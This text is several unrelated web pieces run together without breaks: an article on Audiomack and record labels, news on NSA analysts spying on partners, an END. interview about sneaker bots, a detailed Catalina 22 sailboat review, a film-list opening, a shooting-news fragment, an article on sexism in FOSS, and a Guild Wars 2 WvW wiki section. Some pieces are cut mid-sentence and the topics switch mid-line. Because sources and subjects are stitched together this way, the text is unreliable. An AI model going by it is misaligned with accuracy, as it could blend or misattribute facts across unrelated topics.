useful function for labels. It’s similar to the way LinkedIn works for white-collar offices: if applicants have done a lot of the hard work already, employers can sift and compare. It’s the basis for that Moneyball strategy, and you can only play Moneyball if there’s a large pool of readily available hires. A centralized site of up-and-coming artists is a boon for listeners who like searching out music before it searches them out, but also for labels looking to rationalize their investments in new artists. Seen another way, Audiomack is like hip-hop’s college basketball, where unsigned rappers and producers can put together a highlight reel, build a following, and publicize themselves for the draft. Without the NCAA, NBA teams would have to invest a lot more money developing players. It’s a good tradeoff. Audiomack’s focus on discovering new music is a natural fit for industry insiders, the way professional scouts are the best audience for high school ball. “Sometimes I just go on the homepage and let it play,” says Rahim Wright, head of marketing for the 740Project at Atlantic Records. “If an artist makes that list, it definitely says something. There are regional influencers, say, in Atlanta, who use Audiomack too, so I’ll check out their pages and make sure I haven’t missed anything.” And when the labels want a new song to get heard, they get them uploaded (themselves or through proxies) to Audiomack, in addition to larger sites like SoundCloud and YouTube. What looks from the outside like the copyright wild west is actually a little more organized. “We usually know when a leak is authorized,” Ponte said. “They’ll use radio DJs or bloggers, but we have a pretty good idea what’s going on.” Labels have a lot to gain from sites like Audiomack, but they also do have something to lose. Since any users can upload songs, it’s impossible to sort out the legitimate from the illegitimate, and Audiomack doesn’t use an automated system like SoundCloud’s (which they say are unreliable) to identify and exclude copywritten tracks. Their policy leaves the site open for unlicensed remixes that have long been a genre staple, and leaked songs from signed artists. Leaks can cause significant damage to artists trying to make the jump to label stability, as when over 100 unreleased Young Thug and Rich Homie Quan songs flooded the rap internet all at once in May of this year. Historically, labels have been quick to invoke the Digital Millennium Copyright Act and go after repeat violators, but Audiomack is trying to find agreeable solutions. “They’re very fast,” Wright said of Audiomack. “If I call them and say, ‘We’re going to have this song on iTunes, so don’t have it available for download,’ they’re on it. If there’s a leak and we want it off the site totally, they’ve got it down in one or two minutes.” This responsiveness makes Audiomack a reliable partner for content owners, but it also earns them implicit permission to keep streaming unlicensed tracks that aren’t worrisome enough for the labels to mention. Being quick to settle conflicts agreeably is a smart survival strategy for a small company, even though it requires a lot of manual work to remove offending songs. While I was writing this article, multiple uploads of Eminem’s new single “Phenomenal” shot up the site’s charts, only to be totally purged when I checked back hours later.One analyst had been disciplined for using NSA resources to track a former partner. A fascinating and disturbing fact about the NSA. From time to time, the spy agency's employees abused their power to spy on lovers, according to the Wall street Journal. The Journal said: The practice isn't frequent - one official estimated a handful of cases in the last decade - but it's common enough to garner its own spycraft label: LOVEINT. The LOVEINT violations involved overseas communications, officials said, such as spying on a partner or spouse. In each instance, the employee was punished either with an administrative action or termination. The NSA, which is at the centre of claims it is abusing power, admitted that some of its analysts had deliberately abused its surveillance systems. One analyst had been disciplined for using NSA resources to track a former partner. The NSA said it had found "very rare instances of wilful violations of NSA's authorities". "NSA takes very seriously allegations of misconduct, and co-operates fully with any investigations - responding as appropriate," the NSA said. "NSA has zero tolerance for willful violations of the agency's authorities." Senator Dianne Feinstein, the chairwoman of the Senate intelligence committee said that she had seen no evidence that any of the violations involved the use of NSA's domestic surveillance infrastructure.As sneaker releases become more abundant, it is the truly limited and “special” drops that sneakerheads are interested in. However, while there are more releases and supposedly larger quantities of coveted kicks, buyers still find it difficult and almost impossible to purchase what they desire due to the surge in bots whenever something noteworthy becomes available. Getting your hands on the latest sneaker releases has always been part of the sneaker culture and bots are not only damaging to the community but the crippling effects they have on e-commerce stores can last for long periods of time. For example, a customer who is not interested in buying a coveted footwear release but rather a general item would find a site that is bogged down by bots and an uncomfortable purchasing experience. Thus, this customer would probably make their purchase on another site that doesn’t face this influx of traffic. It is a problem that a lot of e-commerce stores face and solutions such as raffles and in-store releases haven’t been effective in levelling the playing field. Therefore, END. is rolling out a new dedicated microsite and registration system for limited sneakers, aimed at creating an equal field for genuine sneaker fans. The microsite will focus on key forthcoming sneaker launches, allowing customers to easily register online and purchase highly-anticipated sneakers. Its aim is to improve the experience, ensuring fairness, and beat the bots. Here’s how it works: Register for any release on the site by entering your email address, shipping address and choose your size When the product drops, registrants will be emailed a link to the purchase page On clicking the link, you’ll join a queue system with stock allocated on a first-come-first-serve basis If you are allocated stock, you will have five minutes to complete the payment/checkout process If a user does not complete the payment form within the five minute period then the product will be re-allocated to the next person in the queue We wanted to find out more about this new system for releases, so we asked the END. team how it works in this exclusive interview. For those who aren’t familiar with what bots are, can you give a little explanation on them and the troubles it causes for retailers? Bots are scripts or a small of piece of software that automates simple, repetitive, time-consuming tasks over the web. To give a real-world example, a bot could be used to search for a product, fill in your personal and payment details and constantly hit or request the website. As soon as the product goes online, the bot automates the product selection and checkout process in a fraction of the time it would take a human. The challenge for retailers is that because of the nature of a bot (i.e. rapidly automating a simple task), it can hit the website numerous times per second, which can be very problematic and can lead to extreme performance issues. I’m sure there will be commenters out there that suggest throwing more server resource on the backend will solve this, and while that can help alleviate some of the technical issues in the short term, it does nothing to actually stop the bots and make it fair for everyone. With END. Launches we are trying to level the playing field and make it as fair as possible for our real customers who aren’t trying to “beat the system”. When did you guys first come into the problem of bots? Bots have been around for years, but they have become more effective as technology has advanced, and more commonly used as demand for sneakers has increased. In the past, it was just hackers or nerds writing these scripts for themselves, now there is a small subculture actually selling and profiteering from bots — in some cases, a bot can cost as much as a pair of sneakers. Is the problem primarily when releasing sneakers or are there other items that will also cause havoc to your systems? Sneakers are the main product category where we see issues, but any brand or category where there is heat in the marketplace can cause problems. Anything where demand is huge, supply is limited and dare I say potential resale value is high, we can see issues. Although sneaker culture is a huge part of END., we also need to consider the customers who aren’t shopping for this week’s hype sneakers but are being affected by the issues that bots cause. Aside from raffles and competitions, have you tried solving this problem with other methods before? Raffles, competitions and in-store releases are all things we’ve done in the past, but each one has its own intricacies and challenges. We believe END. Launches will level the playing field and make it fair, so all our customers have a chance to purchase each week’s high-heat releases. Why do you think it’s the right time to start END. Launches for sneaker releases? We don’t see the heat around sneakers going away anytime soon and as the desire for these releases increases, we felt it was time to try and level the playing field for our customers and give them the best possible experience that we can. In short, we want to try and make things as fair for everybody as we can, and END. Launches is the first step. Do you not fear that END. Launches will get affected by bots in the same way as it did for the main site? People will always try and ‘beat the system’, but we are committed to making END. Launches an effective and fair way for our customers to purchase sneakers. This version is just the start for us. It’s a platform designed specifically to deal with this problem as opposed to a standard e-commerce platform that just isn’t designed to handle this kind of thing. It is also something we can build on and adapt over time. Apart from this microsite, are there any other ways to prevent sites going down from the onslaught of bots and traffic during highly-coveted releases? One ‘solution’ would be constantly increase resource and spin up servers to cope with the demand the bot traffic generates, but it still doesn’t make it fair for everyone. The site would handle the traffic, but genuine sneaker fans would still miss out to the bots. What are your thoughts on resellers, is it mainly these people that are using bots to ensure they get multiple pairs or do normal customers also use them? Bots are definitely used by resellers to try and purchase multiple pairs of limited-edition releases. We put a great deal of resource into monitoring and dealing with these transactions so we can allocate our stock fairly. It is also definitely now the case that genuine sneaker fans are having to resort to using bots to purchase sneakers for their collections, and to actually wear. Some releases are so limited, and some systems so flawed that they have no choice. We want to address this exact issue. Do you think it’s a responsibility for brands to just increase production for all the coveted items? The brands need to be sensible with their production, as the days are long gone of 8 pairs of a sneaker being enough to service the queue of guys outside the store on a weekend. But retailers also need to look at new and innovative ways to handle the demand, which is what we are trying to do with END. Launches. Limited-edition sneakers have always been part of the game, and we don’t want that to go away. Product due to drop at END. Launches in the next seven days:The Catalina 22 is the most commercially successful sailboat of all time and is one of the 5 inaugural members of the American Sailboat Hall of Fame. Frank Butler of Catalina Yachts designed the Catalina 22, which was Catalina’s first production boat. Since 1969, Catalina Yachts has built and sold over 16,000 Catalina 22s. Catalina continues to manufacture this boat to meet continued sprightly demand. Continued market demand and production of a family cruiser and racer of this size contrasts with the next two models up in Catalina’s line, the Catalina 25 and the Catalina 27, which are no longer produced. The Catalina 22 is an excellent day sailer, racer, and weekender. She has classic Catalina lines and port light configuration that many sailors find timeless. Although Catalina has updated the Catalina 22 throughout its production run, early boats remain modern-looking and attractive by today’s standards. Many sailors will prefer the lines of the earlier boats over the lines of the most recent. With its light displacement and available swing keel, the Catalina 22 can truly be considered a trailer-sailer by any modern standard. Unlike many builders of sailboats available on the used boat market today, Catalina remains in business, and continues to manufacture and source parts for the Catalina 22. Catalina 22 owners benefit from Catalina Direct, which makes buying many Catalina 22 specific parts very convenient. As an aside, it’s worth noting that Catalina Direct is a dealer for Catalina Yachts and is not run by Catalina, the manufacturer. With the vast majority of Catalina 22s still afloat, the boat has a huge user base and a very active owners’ association with racing, the Catalina 22 National Association. Many owners of the Catalina 22 report that the plethora of information available from other owners, that the manufacturer was still in business, that a version of the boat continues to be manufactured, and that spare parts were readily available, were key points influencing their decision to purchase a Catalina 22. EVOLUTION OF THE CATALINA 22 Catalina produced the original Catalina 22, called the Mark I, until 1995. In 1973, a fin keel was offered in addition to the swing keel. In 1976, a stronger heavier mast was introduced. In 1986, Catalina introduced the “New Design”, which saw revisions to the rigging but not to the sail dimensions, aluminum trimmed port lights replaced with smoked plexiglass, interior layout changes, addition of a separate fuel locker and battery compartment, moving the forward hatch aft of the foredeck to the cabin house, and addition of an anchor locker. In 1988, a wing keel option was offered in addition to the swing and fin keels. In 1995, Catalina introduced the Catalina 22 Mark II, which included revisions to the hull above the waterline, cabin house and port lights, interior layout, pop-top, and offered additional interior options. In 2004, Catalina introduced the Catalina 22 Sport. For the Catalina 22 Sport, Catalina redesigned nearly the entire boat except for the hull, keel, rudder, and sail plan, which were left the same so that these boats could compete in one-design racing. Catalina introduced an additional 22 footer, the Catalina Capri 22, in 1984. This boat has a different underbody from all of the above Catalina 22 boats and is not eligible for Catalina 22 one-design racing. Catalina continues to manufacture this boat, today called the Catalina 22 Capri. CONSTRUCTION The build quality of the Catalina 22 is good for its intended purpose as a daysailer and weekender for inland and protected waters. The hull is solid hand-laid fiberglass. Some Mark I models had plywood stringers, which can rot. The deck is fiberglass sandwich with a plywood core. The hull-to-deck joint is Catalina’s preferred shoebox design, but only fastened with screws and chemical adhesive which are sufficient for the boat’s intended cruising grounds. Interior fit and finish is excellent for this size and class of production boat. The interior is a molded fiberglass liner. Interior woodwork is an attractive and durable marine ply with teak veneer with some solid teak pieces for structural loading. All standing rigging is stainless steel. Catalina 22s built before 1977 had a lighter, weaker mast, and lighter gauge standing rigging. These early boats were not designed to carry a headsail greater than a 110%. A few of these earlier boats suffered mast failures when carrying a larger genoa. In 1978, Catalina fixed this issue on all new Catalina 22s by installing a stronger, heavier mast and heavier gauge rigging that could support the greater loads associated with larger headsails. Minor blistering was an issue on some earlier Catalina 22s, which was a common issue for boats manufactured during that period. Hull blistering issues are hit and miss, with some Catalina 22 owners reporting never having any. Due to the long production run and improvement of fiberglass technology during this time, blistering issues were reduced in each successive year, and were nearly non-existent by the mid-1980s. As with all early Catalina boats that had aluminum trimmed port lights, leaking is a common problem. Catalina Direct offers a Catalina 22 specific kit to reseal these port lights. On Mark I boats, the electrical panel was installed on the side of the aft dinette seat where it can be damaged by kicking when moving about the cabin and by water intrusion between the hatch boards. Some owners install kick plates over the electrical panel to protect the switches. Due to the relatively simple electrical systems on the boat, moving the electrical panel to a better location is only a small project. For the New Design, Catalina moved the panel to the shelf in the port side of the hull. Catalina moved the panel again for the Mark II model, placing it beneath the companionway steps, which returned it to the same location issues as the Mark I boats have. Early Catalina 22s came from the factory with through-hull plumbing fittings secured only by single hose clamps, instead of two. This is of course easy to fix if not done already. Early boats also had gate valves installed for through-hulls, which was common at that time. Gate valves should be replaced with proper seacocks. RIGGING The Catalina 22 is a masthead sloop with a sail-area-to-displacement ratio of around 18 (depending on keel), which puts her traditionally in a medium-cruiser class. The mast is deck stepped with a compression post below decks to support the mast. The mast is supported by one set of spreaders and one set of upper shrouds, and two sets of lower shrouds. Some Catalina 22s came equipped from the factory with boom vangs, while others did not. Catalina 22 specific boom vang kits are available from Catalina Direct. All boats came with an adjustable mainsheet traveler. The jib car tracks are very short, but this is not likely an issue for the vast majority of sailors who will rarely adjust the location of their jib cars anyway. A small winch and clutch is installed on each cockpit coaming to manage jib sheets. No halyard winches were installed from the factory, but clutches were typically installed at the aft end of the cabin house so as to be accessible from the cockpit. Catalina has deliberately never changed the dimensions of the rig during the entire production run so that any Catalina 22 regardless of year can compete in Catalina 22 one-design racing. KEEL AND RUDDER The vast majority of Catalina 22s were delivered with a swing keel. Over the production run, Catalina introduced two additional keel options, a fixed fin and a fixed wing. The fin keel has a draft of 3′ 6″ and provides 765 lbs. of ballast. The wing keel has a draft of 2′ 6″ and provides 708 lbs. of ballast. The Catalina 22 swing keel warrants its own discussion. On earlier boats, the swing keel was cast iron and in later boats, cast lead. Beginning with the Mark II model, all swing keels were encapsulated in fiberglass. The swing keel weighs 452 lbs. and serves as all of the ballast for the boat. The heavy weight of this swing keel prevents many of the annoying banging noises associated with unballasted swing keels. The keel can be raised by way of a simple and reliable manual winch system located below the companionway steps. Little effort is required to operate the winch. The swing keel pivots from a down position to an aft-and-up position on a 1” diameter cast bronze rod hung between stout cast bronze hangers mounted to the underside of the hull. When down, the keel provides a 5′ draft, which is very deep for a boat of this size. When the keel is fully raised to its horizontal position, the Catalina 22 has a draft of only 2′, which is of course handy for gunkholing or if the water gets shallow when exploring. In the event of a grounding, the keel gently swings back and away rather than getting damaged or causing damage to the hull as can happen with fixed keels and vertically lifting (not swing) keels. When the swing keel on the Catalina 22 is fully lowered, the keel orientation is high aspect and has a symmetrical foil shape, similar to modern race boats, so that the boat points to weather extremely well and tacks on a dime. When completely raised, only a small part of the keel is enveloped in the hull, with the rest protruding. Therefore when the keel is fully raised, the keel orientation is very low aspect, making for nearly a full keel configuration, enabling the boat to track well with little helm attention, even when sailing downwind. Catalina recommends that Catalina 22 swing keel hardware be inspected every two years if in a salt water environment, and allows for longer if in fresh water. However, some owners in fresh water environments report never inspecting their swing keels after thirty years of use and have no problems. Catalina also recommended a retrofit be performed on earlier Catalina 22s to reduce the side-to-side movement of the keel along the pivot pin, which could cause the keel to wear through the pin. If not already done, owners should perform or have this retrofit performed. A retrofit kit is available from Catalina Direct. Despite the early swing keels being cast iron, Catalina did not typically install a sacrificial anode on Catalina 22s at the factory. Catalina 22s should have a sacrificial anode installed, especially if in salt water, although owners of fresh water boats without sacrificial anodes have reported little corrosion. Sacrificial anode kits, including the drill bit necessary to go through the cast iron, are available from Catalina Direct. Catalina 22s produced from 1995 onward had the cast iron keel encapsulated in fiberglass, which further reduced potential corrosion issues. The Catalina 22 has a transom hung rudder commanded by a tiller. Mark I boats came with a kick-up rudder that may avoid damage if grounded, and can also be secured up when in shallow waters using the factory-installed rudder rigging. New Design and later, boats were delivered with a solid rudder instead of the kick-up model. The solid rudder can provide better sailing performance but can be damaged when the keel is raised in shallow waters because the rudder extends beyond the depth of the raised keel. SAILING CHARACTERISTICS The Catalina 22 has a very flat canoe body and beam carried well aft resulting in excellent initial stability, and low wetted-surface area contributing to speed. The boat has a relatively deep forefoot, which prevents the flat body aft from pounding. Catalina 22s are stiff, and if knocked down, right themselves quickly. The swing keel is the least ballasted of the boats and is the most tender. The fin keel is the most ballasted and most stable version. All three keel configurations sail well on any point of sail. Catalina 22 owners consistently refer to the boat as “forgiving”. The swing keel performs the best to windward due to its deep and high-aspect orientation when lowered. Due to its extremely low-aspect when raised, the swing keel can also perform the best running with the wind. The fin keel performs better on all points of sail than the wing keel. The Catalina 22 easily achieves hull speed in light-medium airs. Many Catalina 22 owners report preferring to reef when winds reach above 10 knots, while others report never reefing even with much higher wind speeds. The boat has a tendency to round up into the wind when over canvassed, which can count as a safety feature. ON DECK Unlike smaller day sailers, the cockpit of the Catalina 22 provides a very secure and dry ride. The cockpit is large (larger than its bigger sister, the Catalina 25) with a moderately deep sole and wide benches. Leaning against the bulkhead at the forward end of the benches provides an excellent lounging position facing aft. The coamings are moderately high, which add to a sense of security when seated. The benches are long enough for sleeping when overnighting or weekending. On Mark I boats, the cockpit sole slopes forward so that scuppers are necessarily located at the forward end of the cockpit. On any boat with cockpit scuppers located in the sole, keeping the scuppers free from debris, especially when the boat is not being used, is a common maintenance concern. Clogged scuppers can lead to cockpit flooding in heavy precipitation, and eventually flooding below decks. The scuppers drain through plumbing connected to a y-fitting and then a through-hull fitting beneath the companionway steps. Catalina Direct offers a kit to install additional scuppers in the transom of the boat to aid the factory installed scuppers. With the New Design, Catalina began installing scuppers that drain through the transom. Beneath the port cockpit bench is a relatively large lazarette, accessible from a hatch at the aft end of the port bench. The lazarette is not big enough for sail storage but works well for storing lines, bumpers, and other equipment. On Mark I models, this lazarette also functions as a fuel locker, which is functional because the locker is not open to the interior of the boat or the bilge. The lazarette is vented to the outside by cowlings on the side deck. The sole of the lazarette slopes downward to forward so that fuel fumes can accumulate in the lazarette. Some Mark I owners report that fuel fumes can seep through the bulkhead at the forward end of the lazerette into the cabin. For the New Design, Catalina improved this design so that the fuel tank was separated from the lazarette and vented to the cockpit. Some Catalina 22s came equipped with a manual bilge pump mounted in the port lazarette, with the pump handle accessible from the cockpit. A boarding ladder hung from the transom on the starboard side was optional. While boarding ladders are an easy fit to most any boat, a Catalina 22 specific boarding ladder is available from Catalina Direct. Moving forward from the cockpit, the side decks are necessarily narrow. For a boat of this size, the side decks are excellent. Many boats of this size eliminate side decks all together, especially newer designs, requiring sailors to cross over the cabin house to access the foredeck, which is disastrous in appearance. Butler maintained the boat’s good lines and proportions by keeping side decks, even if narrow. Some owners remove their lifelines, which generally looks attractive, and in this case makes moving along the side decks easier. Considering the limited effectiveness of the lifelines due to their low height, their removal may add to safety aboard on any Catalina 22 unless small children will be aboard. Due to the size of the boat, there is always some rigging to hold within arms’ reach. The foredeck is a good size for managing a foresail and includes a sufficiently secure bow pulpit. On Mark I boats, there is a large hatch in the center of the foredeck, which opens to the v-berth below. On New Design boats, this hatch was moved aft to the forward end of the cabin house, which improves the foredeck for sail handling. On Mark II boats, this hatch was changed from solid fiberglass to smoked plexiglass. Due to the rising sheer line of the forward end of the deck, the plywood core in the foredeck is prone to rot if the watertightness of the foredeck fittings is not maintained. Many owners have addressed rotted cores with various techniques that involve removing the rotted core from below decks. Addressing this issue from below leaves no adverse blemishes on the foredeck. Mark I Catalina 22s have no anchor locker. Many Mark I boats are fitted with an anchor holder mounted on the bow pulpit. For any Catalina 22 not already outfitted with one, anchor holders are available from Catalina Direct. Catalina introduced an anchor locker with the New Design. BELOW DECK The Catalina 22 has Catalina’s traditional wide companionway with three hatch boards. With the hatch boards removed, the interior of the boat is greatly opened. This companionway is an excellent place to stand while under sail from which all operations of the boat can be observed and guests in the cockpit tended with food and beverages. Headroom is limited at 4′ 4″, which owners report is great for their children. In 1973, Catalina began offering the pop-top as an option, which swings up on 4 stainless steel struts and increases headroom to 5′ 7″. Catalina modified the pop-top for the Mark II model, replacing the struts with a hinge at the forward edge, making it easier to raise. Below decks, there is a wide but short v-berth forward with a removable central insert at the aft end. On Mark I, New Design, and Mark II boats, beneath the central insert is a large storage area open to the salon. Many owners keep port-a-potties in this space and some install marine heads. Some Catalina 22s were delivered from the factory with marine heads installed in this space. Also beneath the v-berth are two smaller storage areas. The aft end of the v-berth can be enclosed with the factory-installed curtains, which offers some privacy if used as a head area. On the New Design models, there is an icebox to port a centerline sink between the aft end of the v-berth and the forward dinette seat back. To starboard there is a two burner stove and a drawer beneath. Some owners remove this stove, leaving a deep shelf for storage. Aft to starboard is a settee long enough for sleeping. On the Mark I models, aft to port is the dinette, which can seat two adults and two children. Outboard of the starboard settee, and the dinette to port, are shelves built into the hull. There is storage beneath the starboard settee, the dinette seats if on the Mark I model, and the port settee if on the Mark II model. On the Mark II model, the port settee continues aft beneath the cockpit, making the port settee long enough for sleeping. Aft of the starboard settee is the “Captain’s Quarter Berth”, which is uncomfortable as a berth due to low headroom. Most owners use this space for storing whisker poles, boat hooks, camp stoves, oars, and similar long and flat gear, or mounting radios and other equipment. The aft most end of this quarter berth is accessible from a hatch in the cockpit. For Mark I and Mark II boats (but not the New Design boats), Catalina offered a galley that would slide out from under the quarter berth for use. On Mark I models, the slide-out galley included a sink, two burner stove, icebox, and storage drawer. On Mark II models, the galley was smaller, and only included a sink and single burner stove. The icebox was moved to and became an integral part of the companionway steps. For the Mark II models, Catalina made the interior more spacious by widening the hull above the water line and widening the interior by 10″. VENTILATION The Catalina 22 has no opening port lights, but none are necessary. Ventilation on the Catalina 22 is excellent. The large forward hatch funnels air into the cabin when under sail. At the dock, owners report that a box fan can be placed in this hatch to effectively force air throughout the cabin. The pop-top opens the entire salon dramatically. The large companionway contributes to this openness as well. AUXILIARY POWER The Catalina 22 is powered by an outboard motor hung on the port side of the transom on an adjustable mount. Long shaft motors are preferred. A 5 h.p. motor is more than adequate for pushing the boat even in rough conditions. Many owners report having Catalina 22s equipped with less powerful motors without issue. TRAILERING With a maximum displacement of 2490 lbs. or less depending on keel model, the Catalina 22 is easily pulled without a powerful truck as a tow vehicle. The light weight also enables the Catalina 22 to use a single axle trailer, although the trailer wheels should be of the 5-lug type. The swing keel and relatively flat bottom also mean that many powerboat trailers can be easily modified to support the Catalina 22. USED CATALINA 22 MARKET Catalina 22s can be found on the used boat market typically ranging anywhere in price from $2,000 to $22,000, mostly depending upon age and condition, installed equipment and upgrades, and whether or not a trailer is included in the sale. However, derelict project boats occasionally pop-up for much less. Due to the ubiquity of the Catalina 22, it is always easy to find one for sale on Craigslist, Sailboat Listings, Sailing Texas, and other venues, and there are a plethora on Yacht World. If shopping for a Catalina 22, make sure all swing keel maintenance has been performed or be prepared to do it. Check early boats with aluminum trimmed windows for leaks, which was common but easily repairable. Check for foredeck core rot, stringer rot, and hull blistering, which were hit and miss problems on earlier boats. Otherwise, there is nothing special to consider with these boats that you would not for any other boat. Special thanks to Jeremy Smith for his contributions to this article. ADDITIONAL RESOURCES Catalina 22 Mark II Brochure Catalina 22 Sport Brochure Catalina 22 National Association Catalina 22-Specific Parts Available from Catalina Direct Catalina 22s Available for Sale on Craigslist, Nationwide FAMILY CRUISING (SAILING AWAY) ON A CATALINA 22 CATALINA 22 RACING LAUNCHING A CATALINA 22 Advertisements Share this: Twitter Facebook Google Like this: Like Loading... RelatedWhen people think of movies made for art lovers there are a handful of titles that always crop up. These are usually biopics of great 20th century artists like “Pollock” and “Basquiat” respectively. But there is room for a different kind of art film, one that embraces a broader selection of genres, for example low budget documentaries focusing on lesser known, underground artists. You will also find a wide range of artistic mediums, from poetry to haute cuisine represented. Here is my list: Top: Abbie Cornish enjoys the beauty of spring in “Bright Star” (2009). Opulent palace life in “Russian Ark” (2002). Russian Ark “Russian
illa planned to go to another relative's house to celebrate New Year's Eve, his brother said, but stayed at Morey's instead. Calzadilla's family was toasting the new year with apple cider when they learned about the shooting. "We heard it on the news and we kept hoping it wasn't my brother," he said. "But they told us it was." The timing was particularly heartbreaking, Wilfred Calzadilla said, because his brother had just gotten hired at another warehouse. He was supposed to start his new job Monday.Russell Coker, a Debian developer and Linux consultant, told iTWire that some recent material he had noticed online indicated that when women spoke out about issues of discrimination, they tended to be attacked more than men who made similar statements.The abysmally low numbers of women in the FOSS community have been a matter of concern for some time now, with a number of sexist incidents at various conferences over the last two years adding to the focus on the issue.What focused Russell's attention on the issue recently were an article on the website of the Melbourne newspaper, The Age, about the abusive misogyny of anonymous posters online, and a blog post at the GeekFeminism wiki which detailed the writer's treatment because she spoke out about discrimination against women."It seems to me that when problems are caused by men and the cost of advocating solutions to the problems is lower for men than for women, there is no possibility for decent men to stand on the sidelines," he said.He cited the so-called Lucifer Effect, a term created by Philip Zimbardo who is known for the prison experiment he conducted that turned ordinary men into quite savage beings when they were asked to act as jailers."The 'Lucifer Effect' makes average people do bad things. I think that we need changes in social norms to reduce these problems," he said.Russell said he was particularly exercised about the discrimination against women in the IT field in general and in the FOSS community in particular because, "I am not aware of any other form of discrimination which is as widespread in my community and which gets so little attention".He said the article on the Age website had caught his attention because, "I think it's noteworthy for the mainstream media to publish an article about this topic. When The Age publishes an article it gets a lot of attention from a wide range of people. While anyone could have read websites such as GeekFeminism.org and learned about the issue in greater depth some time ago there are a lot of people who would never read such a site who read The Age". Russell said he had seen quite a few discussions about the treatment of women in the IT industry and they usually seemed to feature men saying, "I've never seen any discrimination so I don't think it exists". He said: "I think that in many cases men just don't notice things as being wrong. There are things that I observed in the past which I didn't recognise as a problem at the time but which are obviously problems now that I know more. For example, there's the issue of conference T-shirts - a recent article explained the issue really clearly. Prior to reading that article I hadn't realised the importance of the issue or what needs to be done to avoid marginalising women in this regard."Providing evidence of problems occurring should help to convince people that it's something that could happen in their area and therefore it's something that they should watch for, and try to prevent."Russell said he had plenty of personal and anecdotal evidence of discrimination. "Things that I have witnessed in the non-FOSS IT world include an IT manager encouraging junior employees to look up women's dresses at the company Christmas party; an IT manager asking two identical twin female employees whether they had ever'shared a man'; and lots of sexist jokes, which, according to psychological research, do affect attitudes towards minority groups of changing status.He said he had been told of an incident of hard-core lesbian porn being installed as the desktop background on the computer of the most conservative woman in an office, in order to offend her. "In this case the HR manager, a woman, was not permitted to do anything about the situation until after the victim's husband had a hostile meeting with the owner of the company. The fact that all the female employees of that company were ignored until a man got involved says a lot."In the FOSS community, Russell said he had once witnessed a photographer asking for permission to photograph a woman at a conference who was using a laptop (nothing unusual for an IT conferences). "When she refused permission the photographer argued with her and then said 'you are beautiful, I will photograph you anyway'. He published the picture on the net."He was of the opinion that this did not indicate that the IT sector or the FOSS community was any worse than the general community. "It does show that the FOSS community needs to improve and I don't think that the issue of whether our community is better or worse than the general society is relevant," he said."It's probably worth noting that while the FOSS community seems better than the general IT industry based on what I have personally witnessed I don't think that this means that the FOSS community is any better. My observations are anecdotes not a survey, they disprove all claims that women are treated equally but don't prove anything else. Also note that I only listed a random sampling of anecdotes, I could list many more."Mechanics [ edit ] Any WvW objective (Resource camps, Towers, Keeps and Castle) held by an enemy may be claimed after it is captured. To capture an objective, the main defender must first be killed then your team must control the circle that appears on the ground for 30 seconds. Prior unlocking Claiming an objective requires prior unlocking of the type of objective in the guild's War Room. Permissions Guild permissions are associated with guild Rank. The following guild permissions relate to claiming: Claim/Unclaim WvW Forts, allows claiming of an objective that has been unlocked and setting the Public Tactics Activation box. , allows claiming of an objective that has been unlocked and setting the box. Edit Claimable Options, allows slotting (configuration) of Tactics and Improvements. , allows slotting (configuration) of Tactics and Improvements. Activate Claimable Tactics, allowed to activate available tactics at an objective claimed by your guild. This permission is unnecessary if the Public Tactics Activation box has been checked. Claiming Popup (left-center screen) Priority If the guild formed the majority of players capturing this objective then it may be claimed immediately. A popup prompt appears allowing 15 seconds to claim the objective. When the timer expires, the guild with the next highest number of players involved in the capture is prompted to claim and so on. Only those with Claim/Unclaim WvW Forts permission whose guild has unlocked the objective are prompted. Additional options may be selected using the WvW Objective Upgrade UI. WvW Objective Upgrade UI Primary article: Objective upgrade#Display If all those with priority have declined to claim the objective following capture then anyone on the same team with permissions may use this UI to claim the objective and set claiming options by: Speaking with the quartermaster at the objective. Left-clicking the map icon for the objective ( Quartermaster's Objective Upgrade Panel Claiming To claim an objective, click the Claim for box on the WvW Objective Upgrade UI panel. Optionally, that person may check the Public Tactic Activation box. This allows any allied player to activate available tactics and is recommended for objectives your guild does not plan to defend such as resource camps. Once claimed, the guild's auras become active and the guild's emblem appears on the banners of the fortification. More significantly, this is an opportunity to begin slotting (configuring) guild WvW enhancements (tactics and improvements). Timers automatically begin to unlock the tiers of guild WvW enhancements. Any ally may slot (configure) guild WvW enhancements after a tier is unlocked from their own guild's War Chest. These enhancements remain if a guild changes the objective claimed in a zone (only one objective at a time may be claimed in each zone). They may be overwritten after an allied guild has claimed the objective. All enhancements are lost when an enemy captures an objective. Claiming is not required to complete any WvW guild mission. Types of upgrades (Guild WvW Enhancements) There are 4 types: Automatic upgrades, become available following objective capture when the associated tier is unlocked. , become available following objective capture when the associated tier is unlocked. Auras (Immediate), become available immediately following claiming. (Immediate), become available immediately following claiming. Improvements (Passive), if slotted become active when the associated tier is unlocked. (Passive), if slotted become active when the associated tier is unlocked. Tactics (Active), if slotted become available when the associated tier is unlocked, but must be activated using a tactivator. There is a 15-20 minute cooldown between activations. Effects If a camp is not claimed then only automatic upgrades will enhance the objective. If an objective is claimed, but no improvements or tactics are slotted (configured) then only auras will be added to the automatic upgrades. All allied players in and entering the objective's area of effect receive the active enhancements. However, players will lose these bonuses upon leaving the objective's area of effect. Auras [ edit ] Buff-bar icon showing active Guild Objective Auras There are up to 8 beneficial auras that once built, become active immediately when objective is claimed by a guild. Each Aura is a prerequisite for building the next Aura in the sequence (example: if Aura 4 is active then you must also have Auras 1, 2 and 3). A "Guild Objective Auras" icon appears in a character's buffs bar (above the utility skills) when Auras are active at an objective. Hovering over the icon displays which guild objective auras are in effect. All allied players receive these benefits, but lose them when they leave the area of effect near the objective. If Presence of the Keep is active then allied players gain double effectiveness of all auras while within the perimeter of the keep. The initial individual supply capacity of 10 may be increased to 25 with this effect active, max supply capacity and Objective Aura 1: Supply Capacity. Improvements [ edit ] Tactics [ edit ] Slotting [ edit ] Guild Claiming Panel to add Guild WvW Enhancements After an objective has been claimed, click the Guild Claiming icon on the left-side navigation bar. This opens a new panel which enables you to slot (configure) tactics and improvements. After claiming, any ally may fill an empty slot from appropriate items in their guild's war chest even if the objective has been claimed by another guild. However, the 3 minute build time still applies. Tiers [ edit ] On the right-side of the panel, there are two columns of boxes, the left for Tactics, the right for Improvements. For a camp, there will be 2 tiers, for all other objectives there will be 3 tiers. The 3 tiers activate 10 minutes, 30 minutes and 60 minutes, respectively after an objective is claimed. War Chest [ edit ] On the left side of the panel is the War Chest, by default showing all Tactics and Improvements that your guild has built at the Scribing Station which are available for slotting. If you click any of the open slots then the eligible sub-set of enhancements appears in the War Chest. Select the item in the War Chest that you wish to slot (configure) by double-clicking or drag and drop from the War Room to the open slot. Continue the process with each box. Note, you do not need to immediately populate each 